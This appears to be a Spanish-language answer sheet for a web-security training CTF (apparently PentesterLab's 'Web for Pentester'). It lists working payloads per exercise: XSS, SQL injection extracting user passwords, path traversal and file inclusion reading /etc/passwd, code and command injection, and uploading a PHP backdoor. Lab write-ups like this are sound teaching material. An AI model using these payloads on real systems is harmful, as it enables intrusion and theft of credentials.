

Soluciones para el CTF 1

XSS:

- Ejercicio 1: `<script>alert(123)</script>`
- Ejercicio 2: `<SCRIPT>alert(123)</SCRIPT>`
- Ejercicio 3: `<iframe src="javascript:alert(123)"></iframe>`
- Ejercicio 4: ` XSS`
- Ejercicio 5: ` XSS`
- Ejercicio 6: `</script><script>alert(123)</script>`
- Ejercicio 7: `!;alert(123);var+$a='hacker`
- Ejercicio 9: `#hacker<script>alert(123)</script>`

SQL Injection:

- Ejercicio 1:
`' and 1=0 union select id,name,passwd,4,5 from users where '1'='1`
- Ejercicio 2:
`'/**/and/**/1=0/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users/**/where/**/'1'='1`
- Ejercicio 3: Igual que el 2
- Ejercicio 4:
`2 and 1=0 union select id,name,passwd,4,5 from users`
- Ejercicio 5: Igual que el 4
- Ejercicio 6:
`2 and 1=0 union select id,name,passwd,4,5 from users where 1=1`

Directory Traversal:

- Ejercicio 1: `/dirtrav/example1.php?file=../../../../../../../../etc/passwd`
- Ejercicio 2: `/dirtrav/example2.php?file=/var/www/files../../../../etc/passwd`
- Ejercicio 3: `/dirtrav/example3.php?file=../../../../../../../../etc/passwd%00`



File Include:

- Ejercicio 1: `/fileincl/example1.php?page=/etc/passwd`
- Ejercicio 2: `/fileincl/example2.php?page=/etc/passwd%00`

Code Injection:

- Ejercicio 1: `".system('uname+-a')."'`
- Ejercicio 2: `id);}system('uname+-a');//`
- Ejercicio 3: `'system('uname+-a).'`

Command Injection:

- Ejercicio 1: `127.0.0.1;echo+"\n\nUname:";uname+-a`
- Ejercicio 2: `127.0.0.1%0Aecho+"\n\nUname:";uname+-a`
- Ejercicio 3:

```
nc IP_victima 80
```

```
GET /commandexec/example3.php?ip=127.0.0.1|úname+-a HTTP/1.0
```

File Upload:

- Ejercicio 1: Subimos un archivo `.php` con una backdoor muy simple utilizando la función `system`.
- Ejercicio 2: Subimos el mismo archivo pero lo renombramos como `.php3`

Se queréis mas información sobre como descubrir y llegar a hallar las diferentes vulnerabilidades podéis verlo en el siguiente PDF:

http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

Si tenéis cualquier tipo de duda poneros en contacto con nosotros en la dirección de correo info@highsec.es.

